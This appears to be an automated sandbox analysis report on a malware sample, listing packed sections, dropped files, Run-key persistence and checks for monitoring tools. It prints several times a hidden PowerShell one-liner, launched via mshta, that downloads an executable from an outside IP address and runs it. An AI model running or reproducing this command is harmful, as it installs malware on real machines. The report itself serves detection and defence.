Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Tries to download and execute files (via powershell)

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'LFGBUS0KLVO2BZEOKEK9O00ZZUDBS8RY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'LFGBUS0KLVO2BZEOKEK9O00ZZUDBS8RY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;

Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\win32\_win32sysloader.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\Pythonwin\mfc140u.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\m0wsoI3[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\win32\win32api.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\TempLFGBUS0KLVO2BZEOKEK9O00ZZUDBS8RY.EXE	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	File created: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10235930101\83f34278c7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\UD49QH6[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\Pythonwin\win32ui.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\_elementtree.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	File created: C:\Users\user\AppData\Local\Temp\10028100101\crypted.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10235940101\0629403be8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	File created: C:\Users\user\AppData\Local\Temp\10028410101\crypted.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\crypted.41[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\win32\win32trace.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10235950101\d101bd5267.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\_cffi_backend.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\_brotli.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\cronikxqqq[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\zstandard\_cffi.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	File created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\PIL\_imagingtk.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\PIL\_imagingft.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	File created: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\simplejson\_speedups.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\dw[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\PIL\_imagingmath.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mrwipre12[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\python311.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\PIL\_imagingcms.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\charset_normalizer\md.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\trano1221[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	File created: C:\Users\user\AppData\Local\Temp\10019520101\dw.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\pywin32_system32\pythoncom311.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\pywin32_system32\pywintypes311.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\ucrtbase.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\amnew[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	File created: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	File created: C:\Users\user\AppData\Local\Temp\10026630101\v7942.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\v7942[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10235960101\718edcc992.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\PIL\_imaging.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\crypted.7[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	File created: C:\Users\user\AppData\Local\Temp\10029600101\mrwipre12.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\PIL\_webp.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\charset_normalizer\md__mypyc.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI78242\zstandard\backend_c.cp311-win_amd64.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8e933e9d51.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run am_no.cmd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d101bd5267.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 718edcc992.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0629403be8.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
